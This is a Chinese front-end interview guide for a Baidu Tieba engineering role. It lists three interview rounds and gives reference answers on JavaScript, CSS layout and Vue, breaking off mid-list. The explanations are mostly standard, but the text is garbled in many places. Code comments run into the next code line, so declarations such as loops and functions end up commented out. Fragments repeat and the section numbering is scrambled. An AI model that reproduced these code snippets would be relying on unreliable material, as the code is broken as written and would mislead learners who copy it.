

百度贴吧 前端研发工程师面经

百度贴吧 前端研发工程师 一面面试题（技术面）

- 先做个自我介绍吧，重点介绍下你最近做的项目。
- 挑一个你最熟悉的项目，说一下项目的技术架构、你的角色和主要贡献。
- 说一下 JavaScript 的数据类型，基本类型和引用类型的区别是什么？
- `null` 和 `undefined` 的区别？`typeof null` 的结果是什么，为什么？
- 讲一下原型和原型链，`proto` 和 `prototype` 的关系是什么？
- ES6 的 `class` 和 ES5 的构造函数有什么区别和联系？
- 讲一下作用域链和闭包，闭包的应用场景有哪些？可能会有什么问题？
- 聊聊对 Promise 的理解，它的实现原理是什么？`async/await` 和它是什么关系？
- 如何实现一个元素的水平垂直居中？你知道几种方法？
- BFC 是什么？如何触发？它解决了哪些问题？
- CSS 选择器的优先级是怎么计算的？
- Vue 的双向绑定原理是什么？
- Vue 的 `computed` 和 `watch` 有什么区别？分别在什么场景下使用？
- Vue 的生命周期钩子有哪些？父子组件的生命周期执行顺序是怎样的？
- `v-if` 和 `v-show` 的区别是什么？
- Vue 组件间的通信方式有哪些？
- 看过 Vue 的源码吗？简单说一下 diff 算法的原理。
- Webpack 的核心概念有哪些？Loader 和 Plugin 的区别是什么？
- 做过哪些 Webpack 相关的性能优化？
- 从浏览器地址栏输入 URL 到页面最终展示，中间发生了什么？
- HTTP 常见的状态码有哪些？301 和 302 有什么区别？
- 聊聊浏览器的缓存机制。
- 跨域是什么？有哪些解决方案？
- 算法题：实现一个函数，判断一个字符串是否是有效的回文。

二面面试题（技术面）

- 看你简历里写了这个项目，能具体讲一下你在其中负责的模块吗？遇到了什么技术难点？是怎么解决的？
- 这个项目上线后，性能表现怎么样？有没有做过性能优化？具体是怎么做的？
- 你们项目是如何做前端监控的？比如错误监控、性能监控。
- 讲一下你在项目里做过的比较复杂的交互或者动画效果。
- 前端安全方面有所了解吗？XSS 和 CSRF 是什么？如何防范？
- 如果一个页面加载很慢，你觉得可能是什么原因导致的？你会从哪些方面去排查和优化？
- 设计一个组件库，你会考虑哪些方面？
- 如果要你设计一个支持无限滚动加载的信息流页面，你会怎么设计？需要考虑哪些问题？
- 聊聊浏览器的渲染原理，重排（Reflow）和重绘（Repaint）是什么？什么操作会触发？
- 如何减少重排和重绘？
- 对虚拟 DOM 的理解，它解决了什么问题？为什么它会比直接操作真实 DOM 更快？
- Webpack 的打包构建流程大概是怎样的？如何实现按需加载？
- 你们团队的代码规范是怎样的？如何保证团队成员都遵守？
- 除了 Vue，还了解过其他前端框架吗？比如 React，它们之间有什么异同？
- 你在工作中是如何学习和提升自己的？
- 算法题：给定一个二叉树，找出其最大深度。
- 你有什么问题想问吗？

三面面试题

- 简单介绍一下自己的工作经历。在过往经历中，你觉得最有成就感的一件事是什么？
- 你认为一个优秀的前端工程师应该具备哪些素质？
- 你对前端这个岗位的理解是什么？未来的发展方向你有什么看法？
- 如果一个项目工期很紧张，你和产品经理在某个需求实现上有分歧，你会怎么处理？
- 你如何看待加班？
- 在团队协作中，你扮演一个什么样的角色？举例说明一下。
- 你未来的职业规划是怎样的？是想往管理方向还是技术专家方向发展？
- 你为什么选择离开上一家公司？
- 你对我们公司或者我们团队有什么了解吗？
- 你平时关注哪些前端技术社区或者博客？

- 你觉得你的优点和缺点是什么？
- 你还有什么想问的吗？

一面参考答案：

3. 说一下 JavaScript 的数据类型，基本类型和引用类型的区别是什么？

JavaScript 的数据类型分为两大类：**基本数据类型（Primitive Types）** 和 **引用数据类型（Reference Types）**。

基本数据类型 (7种):

- `String`: 字符串
- `Number`: 数字
- `Boolean`: 布尔值 (`true` / `false`)
- `Null`: 空值
- `Undefined`: 未定义
- `Symbol` (ES6新增): 唯一的、不可变的值
- `BigInt` (ES2020新增): 用于表示任意精度的整数

引用数据类型:

- `Object`: 对象 (包括普通对象、数组 `Array`、函数 `Function`、`Date`、`RegExp` 等)

区别:

1. 存储方式:

- **基本类型:** 值直接存储在**栈（Stack）内存**中。它们的大小是固定的，访问速度快。
- **引用类型:** 值是存储在**堆（Heap）内存**中的对象。栈内存中只存储一个指向该对象的**内存地址（引用）**。堆内存用于存储大小不固定的数据。

2. 复制方式:

- **基本类型:** 当你将一个基本类型的值赋给另一个变量时，是**按值传递**。系统会为新变量分配一个新的内存空间，并将原始值复制一份过去。这两个变量是完全独立的。

代码块

```
1  let a = 10;
2  let b = a; // 复制了值
3  b = 20;
4  console.log(a); // 10 (a不受影响)
```

- **引用类型**: 当你将一个引用类型的值赋给另一个变量时, 是按**引用传递** (或者叫**按共享传递**)。复制的是内存地址, 而不是对象本身。两个变量指向堆内存中的同一个对象。

代码块

```
1 let obj1 = { name: 'Alice' };
2 let obj2 = obj1; // 复制了引用 (地址)
3 obj2.name = 'Bob';
4 console.log(obj1.name); // 'Bob' (obj1也受到了影响)
```

3. 比较方式:

- **基本类型**: 使用 `==` 或 `===` 比较的是它们的值。
- **引用类型**: 比较的是它们的内存地址。只有当两个变量指向同一个对象时, 它们才相等。
- JavaScript

代码块

```
1 let arr1 = [1, 2];
2 let arr2 = [1, 2];
3 console.log(arr1 === arr2); // false (因为它们是两个不同的对象, 地址不同)
```

4. null 和 undefined 的区别? typeof null 的结果是什么, 为什么?

区别:

- **undefined**: 表示一个变量**已声明但尚未被赋值**。它是一个原始的、默认的值。通常在以下情况出现:
 - 变量声明后没有初始化。 (`let a;`)
 - 函数没有 `return` 语句, 或者 `return` 后面没有值。
 - 访问对象上不存在的属性。
- **null**: 表示一个**有意设置的“空值”或“无对象”**。它是一个用于表示“无”的对象。当你期望一个变量将来会指向一个对象, 但目前还没有时, 可以将其赋值为 `null`。

可以把 `undefined` 理解为“缺少值”, 而 `null` 理解为“有值, 但值是空”。

`typeof null` 的结果:

`typeof null` 的结果是 `"object"`。

为什么？

这是一个历史遗留的 **Bug**。在 JavaScript 最初的实现中，值是使用一个“类型标签”和一个“值”来表示的。对象的类型标签是 `0`。而 `null` 在底层被表示为 `NULL` 指针（大多数平台为 `0x00`），所以 `null` 的类型标签也是 `0`。因此，`typeof` 检查 `null` 时，会错误地返回 `"object"`。

虽然这个 Bug 被广泛认为是错误的，但由于修复它会破坏大量现有的网站代码，因此它被保留了下来。

5. 讲一下原型和原型链，`proto` 和 `prototype` 的关系是什么？

原型 (Prototype):

在 JavaScript 中，每个函数（`Function`）都有一个特殊的、预定义的属性，叫做 `prototype`。这个 `prototype` 属性本身是一个对象，我们称之为**原型对象**。这个原型对象的作用是为由该函数作为构造函数创建出来的所有实例对象提供共享的属性和方法。

原型链 (Prototype Chain):

每个 JavaScript 对象（`null` 除外）都有一个内部私有属性 `[[Prototype]]`，我们可以通过 `proto`（非标准但广泛实现）或 `Object.getPrototypeOf()` 来访问它。这个属性指向该对象的**原型**。

当试图访问一个对象的某个属性时，JavaScript 引擎会首先在该对象自身上查找。如果找不到，它就会沿着 `proto` 指向的原型对象上继续查找。如果原型对象上还找不到，就会再沿着原型对象的 `proto` 继续向上查找，直到找到该属性或者到达原型链的终点（即 `Object.prototype` 的原型，也就是 `null`）。这个由 `proto` 连接起来的对象链条就叫做**原型链**。

`proto` 和 `prototype` 的关系:

- **`prototype`**: 是**函数**特有的属性。它指向一个对象，这个对象是该构造函数创建的所有**实例**的原型。
- **`proto`**: 是**每个对象**都有的属性（或内部槽）。它指向创建该对象的**构造函数**的 `prototype`。

总结关系:

代码块

```
1  // 构造函数
2  function Person(name) {
3      this.name = name;
4  }
5
6  // 实例
7  let person1 = new Person('Alice');
8
9  // 关系验证
```

```
10 // 实例的 __proto__ 指向其构造函数的 prototype
11 console.log(person1.__proto__ === Person.prototype); // true
12
13 // 构造函数的 prototype 也是一个对象，它也有 __proto__
14 // 它指向 Object 的 prototype，因为所有对象最终都继承自 Object
15 console.log(Person.prototype.__proto__ === Object.prototype); // true
16
17 // 原型链的终点
18 console.log(Object.prototype.__proto__); // null
```

简单来说：**实例的 `proto` 指向其构造函数的 `prototype`**。正是这个关系，构成了原型链。

6. ES6 的 class 和 ES5 的构造函数有什么区别和联系？

联系：

ES6 的 `class` 本质上是 ES5 构造函数的一个**语法糖（Syntactic Sugar）**。它的底层实现机制仍然是基于原型和构造函数的模式。`class` 的绝大部分功能，在 ES5 中都能实现。

区别：

1. **语法：**`class` 的语法更简洁、更清晰，更像传统的面向对象语言。

◦ ES5:

代码块

```
1 function Person(name) {
2   this.name = name;
3 }
4 Person.prototype.sayHello = function() {
5   console.log('Hello, ' + this.name);
6 };
```

◦ ES6:

代码块

```
1 class Person {
2   constructor(name) {
3     this.name = name;
4   }
5   sayHello() {
6     console.log(`Hello, ${this.name}`);
7   }
8 }
```

```
7     }  
8 }
```

2. **不存在变量提升:** `class` 声明不像函数声明那样存在变量提升。你必须先声明 `class`，然后才能使用它。
3. **严格模式:** `class` 内部的所有代码默认都在严格模式（`'use strict'`）下执行。
4. **constructor 方法:** `class` 内部的 `constructor` 方法就是 ES5 的构造函数。
5. **静态方法:** `class` 提供了 `static` 关键字来定义静态方法，这些方法直接挂载在类上，而不是实例上。ES5 需要直接在构造函数上定义。
 - **ES5:** `Person.create = function() { ... }`
 - **ES6:** `static create() { ... }`
6. **继承:** `class` 使用 `extends` 关键字实现继承，比 ES5 通过修改原型链的方式（如寄生组合式继承）要简单和直观得多。`super` 关键字也使得调用父类构造函数和方法变得容易。
7. **new 调用:** `class` 的构造函数必须使用 `new` 关键字调用，否则会报错。而 ES5 的构造函数如果不使用 `new`，`this` 会指向全局对象（非严格模式下），容易引发错误。

8. 讲一下作用域链和闭包，闭包的应用场景有哪些？可能会有什么问题？

作用域链 (Scope Chain):

当代码在一个环境中执行时，会创建变量对象的一个作用域链。作用域链的前端，始终都是当前执行的代码所在环境的变量对象。如果这个环境是函数，则将其活动对象作为变量对象。作用域链中的下一个变量对象来自包含（外部）环境，而再下一个变量对象则来自下一个包含环境，以此类推，直至全局执行环境的变量对象。

简单来说，**作用域链就是一组对象列表，它定义了代码在执行时可以访问的变量和函数的范围**。当查找一个变量时，JavaScript 引擎会从作用域链的头部（当前作用域）开始，逐级向上查找，直到找到该变量或者到达全局作用域。

闭包 (Closure):

闭包是指有权访问另一个函数作用域中的变量的函数。

创建闭包的常见方式，就是在一个函数内部创建另一个函数。当内部函数被返回或在外被引用时，它会记住并继续访问其外部函数的词法作用域，即使外部函数已经执行完毕。

代码块

```
1  function outer() {  
2      let count = 0; // 这个变量被闭包捕获function inner() {  
3          count++;
```

```

4     console.log(count);
5   }
6   return inner; // 返回内部函数
7 }
8
9 const counter = outer(); // outer()执行完毕，但它的作用域没有被销毁
10 counter(); // 1
11 counter(); // 2

```

`inner` 函数和它所引用的 `outer` 函数的词法环境（包括 `count` 变量）共同构成了一个闭包。

应用场景：

1. 模块化开发/封装私有变量：

代码块

```

1  function createModule() {
2    let privateData = 'secret';
3    function getPrivateData() {
4      return privateData;
5    }
6    return {
7      getPrivateData: getPrivateData
8    };
9  }
10 const myModule = createModule();
11 console.log(myModule.getPrivateData()); // 'secret'//
    console.log(myModule.privateData); // undefined (无法直接访问)

```

1. 防抖 (Debounce) 和节流 (Throttle): `setTimeout` 的回调函数就是一个闭包，它能访问外部函数的 `timer` 变量。
2. 函数柯里化 (Currying): 例如 `add(1)(2)(3)` 的实现。
3. 在循环中创建闭包

代码块

```

1  for (var i = 1; i <= 5; i++) {
2    setTimeout(function() {
3      console.log(i); // 错误地输出 5 次 6
4    }, i * 1000);
5  }
6
7  // 使用闭包解决for (var i = 1; i <= 5; i++) {
8    (function(j) {

```



```
9     setTimeout(function() {
10         console.log(j); // 正确输出 1, 2, 3, 4, 5
11     }, j * 1000);
12 })(i);
13 }
14
15 // ES6 let 解决方案 (let会创建块级作用域)for (let i = 1; i <= 5; i++) {
16     setTimeout(function() {
17         console.log(i); // 正确输出 1, 2, 3, 4, 5
18     }, i * 1000);
19 }
```

可能的问题:

最主要的问题是**内存泄漏**。由于闭包会引用其外部函数的作用域，导致该作用域中的变量无法被垃圾回收机制回收，直到闭包本身被销毁。如果闭包被长期持有（例如赋值给一个全局变量），那么它所引用的内存就不会被释放，可能导致内存占用过高。

解决方法: 在不需要使用闭包时，手动将其引用的变量设置为 `null`，以解除引用，让垃圾回收机制能够正常工作。

4. 聊聊对 Promise 的理解，它的实现原理是什么？async/await 和它是什么关系？

对 Promise 的理解:

`Promise` 是 JavaScript 中用于处理**异步操作**的一种解决方案。它解决了传统的回调函数（Callback）所导致的“回调地狱”（Callback Hell）问题，使异步代码的写法更加优雅、可读性更高、更易于维护。

一个 `Promise` 对象代表一个异步操作的**最终完成（或失败）及其结果值**。

它有三种状态：

1. `pending`: 初始状态，既不是成功，也不是失败。
2. `fulfilled` (or `resolved`): 意味着操作成功完成。
3. `rejected`: 意味着操作失败。

`Promise` 的状态一旦改变，就不会再变（从 `pending` -> `fulfilled` 或 `pending` -> `rejected`）。这个过程是不可逆的。

实现原理 (简述):

`Promise` 的核心是一个**状态机**。

1. **构造函数:** `Promise` 构造函数接收一个执行器函数 `executor` 作为参数。`executor` 函数会立即执行，并接收两个参数：`resolve` 和 `reject`。

2. **状态管理**: 在 `Promise` 内部, 维护一个 `state` 变量 (初始为 `pending`) 和一个 `value` 变量 (用于存储成功或失败的结果)。

3. `resolve` 和 `reject`:

- 调用 `resolve(value)` 会将 `Promise` 的状态从 `pending` 变为 `fulfilled`, 并保存 `value`。
- 调用 `reject(reason)` 会将 `Promise` 的状态从 `pending` 变为 `rejected`, 并保存 `reason`。

4. `.then()` 方法:

- `.then(onFulfilled, onRejected)` 方法用于注册在 `Promise` 状态改变后的回调函数。
- 它会将 `onFulfilled` 和 `onRejected` 回调函数存起来 (例如存在一个回调队列里)。
- 当 `Promise` 状态变为 `fulfilled` 时, 调用所有 `onFulfilled` 回调。
- 当 `Promise` 状态变为 `rejected` 时, 调用所有 `onRejected` 回调。
- `.then()` 方法必须返回一个新的 `Promise` 对象, 这是实现链式调用的关键。新的 `Promise` 的状态由 `.then` 回调函数的执行结果或抛出的异常来决定。

`async/await` 和它的关系:

`async/await` 是建立在 `Promise` 之上的**语法糖**。它使得异步代码的书写方式看起来更像是同步代码, 从而进一步提高了代码的可读性。

- `async`: 用于声明一个函数是异步的。 `async` 函数的返回值会自动被包装成一个 `Promise` 对象。
- `await`: 只能在 `async` 函数内部使用。它会暂停 `async` 函数的执行, 等待 `await` 后面的 `Promise` 对象的状态变为 `fulfilled`, 然后将 `Promise` 的结果作为 `await` 表达式的返回值, 继续执行函数。如果 `Promise` 变为 `rejected`, `await` 会抛出这个错误, 可以用 `try...catch` 来捕获。

关系总结:

- `async/await` 是 `Promise` 的一种更高级、更易读的写法。
- `await` 命令后面跟着的必须是一个 `Promise` 对象 (或者其他类型的值, 会被自动转为 resolved 的 `Promise`)。
- `async` 函数的本质就是返回一个 `Promise`。

代码块

```
1 // Promise 写法function fetchData() {
2   return new Promise((resolve) => {
3     setTimeout(() => {
4       resolve('Data received');
```

```

5     }, 1000);
6   });
7 }
8
9 fetchData()
10   .then(data => {
11     console.log(data);
12   })
13   .catch(error => {
14     console.error(error);
15   });
16
17 // async/await 写法 async function displayData() {
18   try {
19     const data = await fetchData(); // 用同步的方式等待异步结果 console.log(data);
20   } catch (error) {
21     console.error(error);
22   }
23 }
24 displayData();

```

5. 如何实现一个元素的水平垂直居中？你知道几种方法？

我至少知道 5 种以上的方法。

假设 HTML 结构如下：

代码块

```
1 <div class="parent"><div class="child"></div></div>
```

6. Flexbox (最常用、最推荐)

代码块

```

1 .parent {
2   display: flex;
3   justify-content: center; /* 水平居中 */ align-items: center; /* 垂直居中 */
4 }

```

7. Grid (网格布局)

代码块

```
1 .parent {
2   display: grid;
3   place-items: center; /* place-items 是 justify-items 和 align-items 的简写 */
4 }
5 // 或者
6 .parent {
7   display: grid;
8   justify-content: center;
9   align-items: center;
10 }
```

8. 绝对定位 + Transform (子元素尺寸未知时常用)

代码块

```
1 .parent {
2   position: relative;
3 }
4 .child {
5   position: absolute;
6   top: 50%;
7   left: 50%;
8   transform: translate(-50%, -50%);
9 }
```

这是非常经典和通用的方法，`transform` 的百分比是相对于元素自身的尺寸，所以不需要知道子元素的具体宽高。

9. 绝对定位 + 四边偏移 + margin: auto (子元素尺寸已知时常用)

代码块

```
1 .parent {
2   position: relative;
3 }
4 .child {
5   position: absolute;
6   top: 0;
7   bottom: 0;
8   left: 0;
9   right: 0;
10  margin: auto;
11  /* 需要设置宽高 */width: 100px;
12  height: 50px;
13 }
```

10. 表格布局 (table-cell)

代码块

```
1  .parent {
2      display: table-cell;
3      text-align: center; /* 水平居中 */vertical-align: middle; /* 垂直居中 */
4  }
5  .child {
6      display: inline-block; /* 需要将子元素转为行内块元素 */
7  }
```

这种方法比较古老，但兼容性好。

11. BFC 是什么？如何触发？它解决了哪些问题？

BFC 是什么？

BFC (Block Formatting Context)，即**块级格式化上下文**。它是 Web 页面中一个独立的渲染区域，这个区域内部的元素的布局不会影响到外部。可以把它想象成一个隔离的盒子，盒子内的布局规则只对内部生效。

如何触发 BFC？

满足以下任一条件即可触发 BFC：

1. 根元素 `<html>`。
2. `float` 的值不为 `none`。
3. `position` 的值不为 `static` 或 `relative` (即 `absolute` 或 `fixed`)。
4. `display` 的值为 `inline-block`, `table-cell`, `table-caption`, `flex`, `grid`。
5. `overflow` 的值不为 `visible` (即 `hidden`, `auto`, `scroll`)。

BFC 解决了哪些问题？

1. 防止外边距折叠 (Margin Collapse)

- **问题:** 在正常的文档流中，相邻的两个块级元素的垂直外边距会发生折叠（取最大值）。
- **解决:** 将其中一个元素用一个触发了 BFC 的容器包裹起来，就可以阻止它们的外边距折叠，因为它们不再处于同一个 BFC 中。

代码块

```
1  <div style="overflow: hidden;"> <p style="margin: 10px;"></p>
2  </div>
3  <p style="margin: 20px;"></p>
```

1. 清除浮动 (Containing Floats)

- **问题:** 父元素不设置高度时，内部的浮动子元素会脱离文档流，导致父元素高度塌陷。
- **解决:** 为父元素触发 BFC（例如设置 `overflow: hidden`），父元素就会计算浮动子元素的高度，从而包裹住它们。这是最常用的清除浮动的方法之一。

代码块

```
1  .parent {
2      overflow: hidden; /* 创建BFC来清除浮动 */border: 1px solid red;
3  }
4  .child {
5      float: left;
6      width: 100px;
7      height: 100px;
8  }
```

1. 防止元素被浮动元素覆盖

- **问题:** 一个块级元素会和浮动元素重叠，其内部的文字会环绕浮动元素。
- **解决:** 为这个块级元素触发 BFC（例如设置 `overflow: hidden`），它就不会与浮动元素重叠，而是会形成一个两栏布局的效果。

代码块

```
1  .float-box {
2      float: left;
3      width: 100px;
4      height: 100px;
5      background: lightblue;
6  }
7  .normal-box {
8      overflow: hidden; /* 创建BFC防止重叠 */background: lightcoral;
9      height: 120px;
10 }
```

1. `.normal-box` 会在 `.float-box` 的右侧显示，而不是被它覆盖。

2. CSS 选择器的优先级是怎么计算的？

CSS 选择器的优先级是由**特殊性 (Specificity)** 决定的。浏览器通过计算一个选择器的特殊性来决定当多个规则应用到同一个元素上时，哪一个规则生效。

特殊性可以表示为一个四元组 `(a, b, c, d)`：

1. **a (内联样式)**: 如果样式是写在元素的 `style` 属性中, `a` 就为 1, 否则为 0。 `style="..."`
2. **b (ID 选择器)**: 计算选择器中 ID 的数量。 `#id`
3. **c (类、伪类、属性选择器)**: 计算选择器中类 (`.class`)、伪类 (`:hover`) 和属性选择器 (`[type="text"]`) 的数量。
4. **d (标签、伪元素选择器)**: 计算选择器中标签名 (`div`) 和伪元素 (`::before`) 的数量。

比较规则:

从左到右依次比较 `a, b, c, d` 的值。先比较 `a`, 如果 `a` 的值大, 则优先级高, 后面就不用比了。如果 `a` 相同, 再比较 `b`, 以此类推。

示例:

- `#nav .list li a:hover` -> `a=0, b=1, c=2, d=2` -> `(0, 1, 2, 2)`
- `div#main ul.menu a` -> `a=0, b=1, c=1, d=3` -> `(0, 1, 1, 3)`

比较 `(0, 1, 2, 2)` 和 `(0, 1, 1, 3)`：

1. 比较 `a`：0 vs 0 (相同)
2. 比较 `b`：1 vs 1 (相同)
3. 比较 `c`：2 vs 1 ($2 > 1$)，所以第一个选择器优先级更高。

特殊规则:

- **!important**: 任何带有 `!important` 的规则都拥有最高的优先级, 它会覆盖所有其他声明, 即使是内联样式。但是要**避免滥用** `!important`, 因为它会破坏样式的自然级联, 使调试变得困难。
- **通配选择器** `*` 和**组合器** `+`, `>`, `~`, (空格) 对优先级没有贡献, 它们的特殊性是 `(0, 0, 0, 0)`。
- 继承的样式优先级最低。

4. Vue 的双向绑定原理是什么?

Vue 的双向绑定核心是 `v-model` 指令。它其实是一个语法糖, 背后是通过**数据劫持**、**发布者-订阅者模式**和**模板编译**三者结合来实现的。

对于 Vue 2.x:

其核心是 `Object.defineProperty()`。

1. 数据劫持 (Observer):

- Vue 在初始化实例时，会对 `data` 对象中的所有属性进行遍历，并使用 `Object.defineProperty()` 将它们转换为 `getter` 和 `setter`。
- 每个属性都有一个对应的**依赖收集器 (Dep)**，用于存放所有订阅了该属性变化的**观察者 (Watcher)**。
- 当访问 (**get**) 一个属性时，会触发 `getter`，`getter` 会检查当前是否有正在计算的 Watcher，如果有，就将这个 Watcher 添加到 Dep 的订阅列表中（这个过程称为**依赖收集**）。
- 当修改 (**set**) 一个属性时，会触发 `setter`，`setter` 会通知 Dep，Dep 会遍历其内部所有的 Watcher，并调用每个 Watcher 的 `update` 方法，通知它们数据变化了。

2. 模板编译 (Compiler):

- Vue 的模板编译器会解析模板（如 `{{ message }}` 或 `v-model`），为每个指令或数据绑定创建一个对应的 Watcher 实例。
- 当创建 Watcher 时，它会主动去读取它所依赖的数据的值，这个读取操作就会触发相应属性的 `getter`，从而完成依赖收集，将自己添加到属性的 Dep 中。

3. 观察者 (Watcher):

- Watcher 是一个连接 Observer 和 Compiler 的桥梁。
- 当它收到 Dep 的 `update` 通知时，它会执行相应的更新操作，比如重新渲染视图（对于渲染 Watcher）或者执行 `computed` 属性的计算等。

双向绑定的流程 (`v-model`):

- **数据 -> 视图 (Data -> View):** 用户修改 `data` 中的数据 -> 触发 `setter` -> 通知 Dep -> Dep 通知所有相关的 Watcher -> Watcher 更新视图。
- **视图 -> 数据 (View -> Data):** 用户在输入框中输入内容 -> 触发 `input` 事件 -> `v-model` 的事件监听器会执行，将输入框的最新值赋给 `data` 中对应的属性 -> 这个赋值操作又触发了 `setter`，可能会更新其他依赖此数据的视图。

对于 Vue 3.x:

Vue 3 使用 `Proxy` 替代了 `Object.defineProperty()`。

• 优点:

- `Proxy` 是对整个对象进行代理，而不是像 `defineProperty` 那样需要遍历对象的每个属性。
- `Proxy` 可以监听到属性的新增和删除，而 `defineProperty` 做不到（Vue 2 需要通过 `$set` 和 `$delete` API 来实现）。
- `Proxy` 支持 13 种拦截操作，功能更强大。
- 性能上，在初始化阶段 `Proxy` 优于 `defineProperty`（因为不需要遍历），但在访问器被多次调用时性能可能略有不同。

原理大同小异，都是通过劫持数据的读写操作，在数据变化时通知并更新视图。

4. Vue 的 computed 和 watch 有什么区别？分别在什么场景下使用？

特性	computed (计算属性)	watch (侦听器)
本质	一个有缓存的属性。基于其响应式依赖进行缓存。	一个观察和响应 Vue 实例上数据变动的函数。
缓存	有缓存。只有当依赖的数据发生变化时，才会重新计算。	没有缓存。只要侦听的数据变化，就会执行回调。
异步	不支持。必须是同步执行。	支持。可以在回调中执行异步操作（如API请求）。
返回值	必须有返回值。其返回值就是属性的值。	没有返回值。主要目的是执行副作用（side effects）。
初始执行	默认懒执行，在首次访问时才计算。	默认在数据变化后执行，但可通过 immediate: true 选项在初始化时立即执行一次。
使用	在模板中像普通属性一样使用 {{ myComputed }}。	是一个函数，当数据变化时自动执行。

使用场景：

- 使用 `computed`：
 - 当你需要根据一个或多个响应式数据**计算**出一个新的值，并且这个值会被用在模板中时。
 - 当一个数据依赖于其他数据，需要进行复杂的逻辑运算时。例如，购物车商品总价。
 - 任何可以从现有数据派生出的数据，都应该使用计算属性。

代码块

```
1  computed: {
2    // 一个计算属性的 getterreversedMessage: function () {
3      // `this` 指向 vm 实例return this.message.split('').reverse().join('')
4    },
5    fullName: {
```

```

6      // getter: function () {
7          return this.firstName + ' ' + this.lastName
8      },
9      // setter: function (newValue) {
10         var names = newValue.split(' ')
11         this.firstName = names[0]
12         this.lastName = names[names.length - 1]
13     }
14 }
15 }

```

- 使用 `watch` :

- 当你需要在**数据变化时执行异步操作或开销较大的操作**时。例如，当搜索框的输入值变化时，去请求 API。
- 当你需要监听某个值的变化，并执行一系列的命令式操作（如动画、DOM 操作）时。
- 监听路由参数的变化。

代码块

```

1  watch: {
2      // 如果 `question` 发生改变，这个函数就会运行question: function (newQuestion,
      oldQuestion) {
3          this.answer = 'Waiting for you to stop typing...'this.debounceGetAnswer()
4      },
5      // 深度侦听对象'some.nested.object': {
6          handler(newValue, oldValue) {
7              // ...
8          },
9          deep: true, // 开启深度侦听immediate: true // 立即执行一次
10     }
11 }

```

总结: 能用 `computed` 实现的就优先用 `computed`，因为它有缓存，性能更好。当需要执行异步或开销大的操作来响应数据变化时，才使用 `watch`。

5. Vue 的生命周期钩子有哪些？父子组件的生命周期执行顺序是怎样的？

Vue 的生命周期钩子:

Vue 实例从创建到销毁的过程，就是它的生命周期。在这个过程中，Vue 提供了一系列的钩子函数，让开发者可以在特定的阶段执行自定义的逻辑。

主要分为四个阶段，八个钩子函数：

1. 创建阶段:

- `beforeCreate` : 实例刚在内存中被创建出来，此时还没有初始化 `data` 和 `methods`。
- `created` : 实例已经创建完成。`data` 和 `methods` 已经初始化完毕。常用于发起 Ajax 请求。此时模板还没有被挂载到页面上。

2. 挂载阶段:

- `beforeMount` : 在模板编译完成，即将把模板渲染到页面之前执行。此时虚拟 DOM 已创建，但真实 DOM 尚未生成。
- `mounted` : 将编译好的模板挂载到页面之后执行。此时可以操作真实 DOM。

3. 更新阶段:

- `beforeUpdate` : 当 `data` 中的数据发生变化时，在页面被重新渲染之前执行。
- `updated` : 当 `data` 变化导致页面重新渲染完成之后执行。

4. 销毁阶段:

- `beforeDestroy` : 实例即将被销毁时执行。此时实例上的所有东西（`data`，`methods`，指令等）仍然可用。常用于清理定时器、解绑自定义事件等。
- `destroyed` : 实例被完全销毁后执行。

此外，还有 `activated` 和 `deactivated`，是与 `<keep-alive>` 组件相关的钩子。

父子组件的生命周期执行顺序:

1. 加载渲染过程 (挂载):

- 父 `beforeCreate` -> 父 `created` -> 父 `beforeMount`
- -> 子 `beforeCreate` -> 子 `created` -> 子 `beforeMount` -> 子 `mounted`
- -> 父 `mounted`

2. 规律: 父组件先开始，然后遇到子组件时，子组件要先走完自己的挂载流程，然后父组件才完成挂载。

3. 子组件更新过程:

- 父 `beforeUpdate`
- -> 子 `beforeUpdate` -> 子 `updated`
- -> 父 `updated`

4. 父组件更新过程 (不影响子组件):

- 父 `beforeUpdate` -> 父 `updated`

5. 销毁过程:

- 父 beforeDestroy
- -> 子 beforeDestroy -> 子 destroyed
- -> 父 destroyed

6. 规律: 销毁时, 父组件先开始销毁, 然后子组件要先完成自己的销毁, 最后父组件才完成销毁。

14. v-if 和 v-show 的区别是什么?

特性	v-if	v-show
原理	“真正的”条件渲染。它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建。	基于 CSS 的切换。不管初始条件是什么, 元素总是会被渲染, 只是简单地基于 CSS 的 display 属性进行切换。
惰性	如果初始渲染时条件为假, 则什么也不做。直到条件第一次变为真时, 才会开始渲染条件块。	无论初始条件真假, 元素总会被渲染出来, 保存在 DOM 中。
开销	切换开销更高 (涉及 DOM 的添加和删除, 组件的销毁和重建)。	初始渲染开销更高 (因为总要渲染), 但切换开销很低 (只是修改 CSS)。
使用场景	如果在运行时条件很少改变, 使用 v-if 较好。	如果需要非常频繁地切换, 使用 v-show 较好。

总结: v-if 是动态地向 DOM 树内添加或删除 DOM 元素; v-show 是通过设置 DOM 元素的 display 样式属性 block/none 来控制元素的显示和隐藏。

7. Vue 组件间的通信方式有哪些?

1. props / \$emit (父子通信)

- 父 -> 子: 父组件通过 props 向子组件传递数据。
- 子 -> 父: 子组件通过 \$emit 触发一个自定义事件, 并可以携带参数, 父组件监听这个事件来接收数据。

2. `$ref` / `$parent` / `$children` (父子通信)

- `$ref`: 父组件可以给子组件设置一个 `ref` 引用, 然后通过 `this.$refs.childName` 来直接访问子组件的实例, 调用其方法或访问其数据。
- `$parent` / `$children`: 子组件可以通过 `this.$parent` 访问父组件实例, 父组件可以通过 `this.$children` 访问其所有直接子组件实例的数组。 **不推荐过度使用**, 因为会使组件耦合度变高。

3. `EventBus` (`$on` / `$emit`) (任意组件通信)

- 创建一个中央事件总线 (通常是一个新的 Vue 实例) 。
- 一个组件通过 `bus.$emit('eventName', data)` 来触发事件。
- 另一个组件通过 `bus.$on('eventName', callback)` 来监听事件。
- **缺点**: 是一种全局的通信方式, 当项目变大时, 事件管理会变得混乱, 难以追溯和维护。记得在组件销毁时用 `bus.$off` 解绑事件。

4. `Vuex` (状态管理模式) (任意组件通信)

- `Vuex` 是 Vue 的官方状态管理库, 它采用集中式存储管理应用的所有组件的状态。
- 通过 `state` 存储数据, `mutations` 同步修改数据, `actions` 异步修改数据, `getters` 获取派生数据。
- 是中大型单页应用 (SPA) 中最推荐的组件通信和数据管理方案。

5. `provide` / `inject` (祖孙/跨级组件通信)

- 祖先组件通过 `provide` 选项来提供数据。
- 后代组件 (无论层级多深) 通过 `inject` 选项来接收这些数据。
- **注意**: `provide` 和 `inject` 绑定不是响应式的, 除非你提供的是一个可监听的对象。

6. `$attrs` / `$listeners` (隔代组件通信)

